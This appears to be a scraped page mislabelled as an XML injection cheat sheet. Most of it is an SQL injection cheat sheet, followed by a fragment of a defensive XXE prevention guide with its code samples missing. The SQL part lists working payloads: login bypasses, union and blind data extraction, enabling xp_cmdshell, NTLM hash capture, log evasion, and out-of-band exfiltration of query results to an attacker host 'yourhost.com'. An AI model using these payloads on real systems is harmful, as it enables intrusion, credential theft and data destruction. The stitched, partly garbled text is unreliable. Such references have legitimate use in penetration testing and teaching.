Xml Injection Cheat Sheet



What is an SQL Injection Cheat Sheet?

  • XML External Entity Prevention Cheat Sheet Introduction. XML eXternal Entity injection (XXE), which is now part of the OWASP Top 10 via the point A4, is a type of attack against an application that parses XML input. XXE issue is referenced under the ID 611 in the Common Weakness Enumeration referential.
  • XXE Cheat Sheet - SecurityIdiots XXE - XML External ENTITY Injection XML - Extenstible Markup language XML is a well structured document which is used to store information and used as a dataset definition.

SQL injection cheat sheet. This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks. String concatenation. You can concatenate together multiple strings to make a single string.

An SQL injection cheat sheet is a resource in which you can find detailed technical information about the many different variants of the SQL Injection vulnerability. This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security.

About the SQL Injection Cheat Sheet

This SQL injection cheat sheet was originally published in 2007 by Ferruh Mavituna on his blog. We have updated it and moved it over from our CEO's blog. Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parenthesis, different code bases and unexpected, strange and complex SQL sentences.
Samples are provided to allow you to get basic idea of a potential attack and almost every section includes a brief information about itself.

M :MySQL
S :SQL Server
P :PostgreSQL
O :Oracle
+ :Possibly all other databases
Examples;
  • (MS) means : MySQL and SQL Server etc.
  • (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Table Of Contents

  1. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
    1. Line Comments
    2. Inline Comments
    3. Stacking Queries
    4. If Statements
    5. String Operations
    6. Strings without Quotes
    7. Union Injections

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don't have to deal with fixing the syntax.

  • -- (SM)
    DROP sampletable;--
  • # (M)
    DROP sampletable;#
Line Comments Sample SQL Injection Attacks
  • Username: admin'--
  • SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
    This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Xml

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

  • /*Comment Here*/ (SM)
    • DROP/*comment*/sampletable
    • DR/**/OP/*bypass blacklisting*/sampletable
    • SELECT/*avoid-spaces*/password/**/FROM/**/Members
  • /*! MYSQL Special SQL */ (M)
    This is a special comment syntax for MySQL. It's perfect for detecting MySQL version. If you put a code into this comments it's going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
    SELECT /*!32302 1/0, */ 1 FROM tablename
Classical Inline Comment SQL Injection Attack Samples
  • ID: 10; DROP TABLE members /*
    Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
  • SELECT /*!32302 1/0, */ 1 FROM tablename
    Will throw an divison by 0 error if MySQL version is higher than3.23.02
MySQL Version Detection Sample Attacks
  • ID: /*!32302 10*/
  • ID: 10
    You will get the same response if MySQL version is higher than 3.23.02
  • SELECT /*!32302 1/0, */ 1 FROM tablename
    Will throw a division by 0 error if MySQL version is higher than3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

  • ; (S)
    SELECT * FROM members; DROP members--

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it's not possible to execute a second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?

Stacked SQL Injection Attack Samples
  • ID: 10;DROP members --
  • SELECT * FROM products WHERE id = 10; DROP members--

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on an if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.

MySQL If Statement

  • IF(condition,true-part,false-part) (M)
    SELECT IF(1=1,'true','false')

SQL Server If Statement

  • IF conditiontrue-part ELSE false-part (S)
    IF (1=1) SELECT 'true' ELSE SELECT 'false'

Oracle If Statement

  • BEGIN
    IF condition THEN true-part; ELSE false-part; END IF; END;
    (O)
    IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL If Statement

  • SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P)
    SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;
If Statement SQL Injection Attack Samples

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not 'sa' or 'dbo'.

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

  • 0xHEXNUMBER (SM)
    You can write hex like these;
    SELECT CHAR(0x66) (S)
    SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
    SELECT 0x50 + 0x45 (this is integer now!) (M)

String Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

String Concatenation

  • + (S)
    SELECT login + '-' + password FROM members
  • || (*MO)
    SELECT login || '-' || password FROM members

*About MySQL '||';
If MySQL is running in ANSI mode it's going to work but otherwise MySQL accept it as `logical operator` it'll return 0. A better way to do it is using CONCAT()function in MySQL.

  • CONCAT(str1, str2, str3, ...) (M)
    Concatenate supplied strings.
    SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it's always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

  • 0x457578 (M) - Hex Representation of string
    SELECT 0x457578
    This will be selected as string in MySQL.
    In MySQL easy way to generate hex representations of strings use this;
    SELECT CONCAT('0x',HEX('c:boot.ini'))
  • Using CONCAT() in MySQL
    SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
    This will return 'KLM'.
  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
    This will return 'KLM'.
  • SELECT CHR(75)||CHR(76)||CHR(77) (O)
    This will return 'KLM'.
  • SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)
    This will return 'KLM'.

Hex based SQL Injection Samples

  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
    This will show the content of c:boot.ini

String Modification & Related

  • ASCII() (SMP)
    Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.
    SELECT ASCII('a')
  • CHAR() (SM)
    Convert an integer of ASCII.
    SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.

Another Example:
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

  • SQL Server (S)
    Use fieldCOLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.
    SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
  • MySQL (M)
    Hex() for every possible issue

Sql Injection Cheat Sheet Owasp

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • ....
  • Login as different user (SM*)
    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

*Old versions of MySQL doesn't support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username :admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Password : 1234

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

Error Based - Find Columns Names

Finding Column Names with HAVING BY - Error Based (S)

In the same order,

  • ' HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --and so on
  • If you are not getting any more error then it's done.

Finding how many columns in SELECT query by ORDER BY(MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

  • ORDER BY 1--
  • ORDER BY 2--
  • ORDER BY N--so on
  • Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

  • Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
  • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
  • Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
    • Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

  • ' union select sum(columntofind) from users-- (S)
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

    If you are not getting an error it means column is numeric.
  • Also you can use CAST() or CONVERT()
    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
    No Error - Syntax is right. MS SQL Server Used. Proceeding.
  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
    No Error – First column is an integer.
  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
    Error! – Second column is not an integer.
  • 11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-
    No Error – Second column is a string.
  • 11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 –-
    Error! – Third column is not an integer. ...
    Microsoft OLE DB Provider for SQL Server error '80040e07'
    Explicit conversion from data type int to image is not allowed.

You'll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also, you can use insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, '+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file(%systemroot%system32inetsrvMetaBase.xml) and then search in it to identify application path.

  1. Create table foo( line varchar(8000) )
  2. bulk insert foo from 'c:inetpubwwwrootlogin.asp'
  3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function.
bcp 'SELECT * FROM test..foo' queryout c:inetpubwwwrootruncommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

Executing system commands, xp_cmdshell (S)

Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell 'ping '

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

  • Error Messages
    master..sysmessages
  • Linked Servers
    master..sysservers
  • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
    SQL Server 2000: masters..sysxlogins
    SQL Server 2005 : sys.sql_logins

More Stored Procedures for SQL Server (S)

  1. Cmd Execute (xp_cmdshell)
    exec master..xp_cmdshell 'dir'
  2. Registry Stuff (xp_regread)
    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEMCurrentControlSetServiceslanmanserverparameters', 'nullsessionshares'
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities'
  3. Managing Services (xp_servicecontrol)
  4. Medias (xp_availablemedia)
  5. ODBC Resources (xp_enumdsn)
  6. Login mode (xp_loginconfig)
  7. Creating Cab Files (xp_makecab)
  8. Domain Enumeration (xp_ntsec_enumdomains)
  9. Process Killing (need PID) (xp_terminate_process)
  10. Add new procedure (virtually you can execute whatever you want)
    sp_addextendedproc 'xp_webserver', 'c:tempx.dll'
    exec xp_webserver
  11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

You can not use sub selects in SQL Server Insert queries.

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you're really pissed off, ';shutdown --

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.

EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = 'U'

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

Moving records (S)

  • Modify WHERE and use NOT IN or NOT EXIST,
    ... WHERE users NOT IN ('First User', 'Second User')
    SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)-- very good one
  • Using Dirty Tricks
    SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int

    Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

Detailed Article: Fast way to extract data from Error Based SQL Injections

Finding Database Structure in MySQL (M)

Getting User defined Tables

SELECT table_name FROM information_schema.tables WHERE table_schema = 'databasename'

Getting Column Names

SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'tablename'

Finding Database Structure in Oracle (O)

Getting User defined Tables

SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'

Getting Column Names

SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common, though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAITFOR DELAY '0:0:10' in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well-known way is reading data bit by bit. Both can be effective in different conditions.

Making Databases Wait / Sleep For Blind SQL Injection Attacks

First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.

WAITFOR DELAY 'time' (S)

This is just like sleep, wait for specified time. CPU safe way to make database wait.

WAITFOR DELAY '0:0:10'--

Also, you can use fractions like this,

WAITFOR DELAY '0:0:0.51'

Real World Samples

  • Are we 'sa' ?
    if (select user) = 'sa' waitfor delay '0:0:10'
  • ProductID = 1;waitfor delay '0:0:10'--
  • ProductID =1);waitfor delay '0:0:10'--
  • ProductID =1';waitfor delay '0:0:10'--
  • ProductID =1');waitfor delay '0:0:10'--
  • ProductID =1));waitfor delay '0:0:10'--
  • ProductID =1'));waitfor delay '0:0:10'--

BENCHMARK() (M)

Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

BENCHMARK(howmanytimes, do this)

Real World Samples

  • Are we root ? woot!
    IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
  • Check Table exist in MySQL
    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

  • SELECT pg_sleep(10);
    Sleep 10 seconds.

sleep(seconds) (M)

Sleep for supplied seconds.

  • SELECT sleep(10);
    Sleep 10 seconds.

dbms_pipe.receive_message (O)

Sleep for supplied seconds.

  • (SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)

    {INJECTION} = You want to run the query.

    If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.

Covering Your Tracks

SQL Server -sp_password log bypass (S)

SQL Server don't log queries that includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

  1. product.asp?id=4 (SMO)
    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1
  2. product.asp?name=Book
    1. product.asp?name=Bo'%2b'ok
    2. product.asp?name=Bo' || 'ok (OM)
    3. product.asp?name=Book' OR 'x'='x

Extra MySQL Notes

  • Sub Queries are working only MySQL 4.1+
  • Users
    • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root';
  • SELECT ... INTO DUMPFILE
    • Write query into a new file (can not modify existing files)
  • UDF Function
    • create function LockWorkStation returns integer soname 'user32';
    • select LockWorkStation();
    • create function ExitProcess returns integer soname 'kernel32';
    • select exitprocess();
  • SELECT USER();
  • SELECT password,USER() FROM mysql.user;
  • First byte of admin hash
    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
  • Read File
    • query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • MySQL Load Data infile
    • By default it's not available !
      • create table foo( line blob );
        load data infile 'c:/boot.ini' into table foo;
        select * from foo;
  • More Timing in MySQL
  • select benchmark( 500000, sha1( 'test' ) );
  • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
    Enumeration data, Guessed Brute Force
    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

Potentially Useful MySQL Functions

  • MD5()
    MD5 Hashing
  • SHA1()
    SHA1 Hashing
  • PASSWORD()
  • ENCODE()
  • COMPRESS()
    Compress data, can be great in large binary reading in Blind SQL Injections.
  • ROW_COUNT()
  • SCHEMA()
  • VERSION()
    Same as @@version

Second Order SQL Injections

Basically, you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.

Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com

If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.

Bulk insert from a UNC Share (S)
bulk insert foo from 'YOURIPADDRESSC$x.txt'

Check out Bulk Insert Reference to understand how can you use bulk insert.

Out of Band Channel Attacks

SQL Server

  • ?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECTION})+'.yourhost.com';'sa';'pwd', 'SELECT 1')
    Makes DNS resolution request to {INJECT}.yourhost.com
  • ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '+({INJECTION})+'.yourhost.comtest.txt'; EXEC master..xp_dirtree @q
    Makes DNS resolution request to {INJECTION}.yourhost.com
    {INJECTION} = You want to run the query.

MySQL

  • ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(',({INJECTION}), 'yourhost.com')))
    Makes a NBNS query request/DNS resolution request to yourhost.com

  • ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE 'yourhost.comshareoutput.txt')
    Writes data to your shared folder/file

    {INJECTION} = You want to run the query.

Oracle

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ sniff.php?sniff='||({INJECTION})||') FROM DUAL)
    Sniffer application will save results

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ '||({INJECTION})||'.html') FROM DUAL)
    Results will be saved in HTTP access logs

  • ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

  • ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||'.yourhost.com',80) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

    {INJECTION} = You want to run the query.

Vulnerability Classification and Severity Table

ClassificationID / Severity
PCI v3.16.5.1
PCI v3.26.5.1
OWASP 2013A1
CWE89
CAPEC66
WASC19
HIPAA164.306(a), 164.308(a)
CVSS 3.0 Score
Base 10 (Critical)
Temporal 10 (Critical)
Environmental 10 (Critical)
CVSS Vector String
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Last revision (mm/dd/yy): 12/3/2018

  • 1Introduction
    • 1.2C/C++
    • 1.3Java
      • 1.3.13Other XML Parsers
    • 1.4.NET
      • 1.4.6XmlTextReader
    • 1.5iOS

XML eXternal Entity injection (XXE), which is now part of the OWASP Top 10, is a type of attack against an application that parses XML input.

XXE issue is referenced under the ID 611 in the Common Weakness Enumeration referential.

This attack occurs when untrusted XML input containing a reference to an external entity is processed by a weakly configured XML parser.

This attack may lead to the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning from the perspective of the machine where the parser is located, and other system impacts. The following guide provides concise information to prevent this vulnerability.

For more information on XXE, please visit XML External Entity (XXE) Processing.

General Guidance

The safest way to prevent XXE is always to disable DTDs (External Entities) completely. Depending on the parser, the method should be similar to the following:

Disabling DTDs also makes the parser secure against denial of services (DOS) attacks such as Billion Laughs. If it is not possible to disable DTDs completely, then external entities and external document type declarations must be disabled in the way that’s specific to each parser.

Detailed XXE Prevention guidance for a number of languages and commonly used XML parsers in those languages is provided below.

C/C++

libxml2

The Enum xmlParserOption should not have the following options defined:

  • XML_PARSE_NOENT: Expands entities and substitutes them with replacement text
  • XML_PARSE_DTDLOAD: Load the external DTD


Note:

Per: https://mail.gnome.org/archives/xml/2012-October/msg00045.html, starting with libxml2 version 2.9, XXE has been disabled by default as committed by the following patch: http://git.gnome.org/browse/libxml2/commit/?id=4629ee02ac649c27f9c0cf98ba017c6b5526070f.


Search for the usage of the following APIs to ensure there is no XML_PARSE_NOENT and XML_PARSE_DTDLOAD defined in the parameters:

  • xmlCtxtReadDoc
  • xmlCtxtReadFd
  • xmlCtxtReadFile
  • xmlCtxtReadIO
  • xmlCtxtReadMemory
  • xmlCtxtUseOptions
  • xmlParseInNodeContext
  • xmlReadDoc
  • xmlReadFd
  • xmlReadFile
  • xmlReadIO
  • xmlReadMemory

libxerces-c

Use of XercesDOMParser do this to prevent XXE:

Use of SAXParser, do this to prevent XXE:

Use of SAX2XMLReader, do this to prevent XXE:

Java

Java applications using XML libraries are particularly vulnerable to XXE because the default settings for most Java XML parsers is to have XXE enabled. To use these parsers safely, you have to explicitly disable XXE in the parser you use. The following describes how to disable XXE in the most commonly used XML parsers for Java.

JAXP DocumentBuilderFactory, SAXParserFactory and DOM4J

DocumentBuilderFactory, SAXParserFactory and DOM4J XML Parsers can be configured using the same techniques to protect them against XXE.

Only the DocumentBuilderFactory example is presented here. The JAXP DocumentBuilderFactorysetFeature method allows a developer to control which implementation-specific XML processor features are enabled or disabled.

The features can either be set on the factory or the underlying XMLReadersetFeature method.

Each XML processor implementation has its own features that govern how DTDs and external entities are processed.

For a syntax highlighted example code snippet using SAXParserFactory, look here.

Xerces 1Features:

  • Do not include external entities by setting this feature to false.
  • Do not include parameter entities by setting this feature to false.
  • Do not include external DTDs by setting this feature to false.

Xerces 2Features:

  • Disallow an inline DTD by setting this feature to true.
  • Do not include external entities by setting this feature to false.
  • Do not include parameter entities by setting this feature to false.
  • Do not include external DTDs by setting this feature to false.

Note: The above defenses require Java 7 update 67, Java 8 update 20, or above, because the above countermeasures for DocumentBuilderFactory and SAXParserFactory are broken in earlier Java versions, per: CVE-2014-6517.

XMLInputFactory (a StAX parser)

StAX parsers such as XMLInputFactory allow various properties and features to be set.

To protect a Java XMLInputFactory from XXE, do this:

TransformerFactory

To protect a javax.xml.transform.TransformerFactory from XXE, do this:

Validator

To protect a javax.xml.validation.Validator from XXE, do this:

SchemaFactory

To protect a javax.xml.validation.SchemaFactory from XXE, do this:

SAXTransformerFactory

To protect a javax.xml.transform.sax.SAXTransformerFactory from XXE, do this:

Note: Use of the following XMLConstants requires JAXP 1.5, which was added to Java in 7u40 and Java 8:

  • javax.xml.XMLConstants.ACCESS_EXTERNAL_DTD
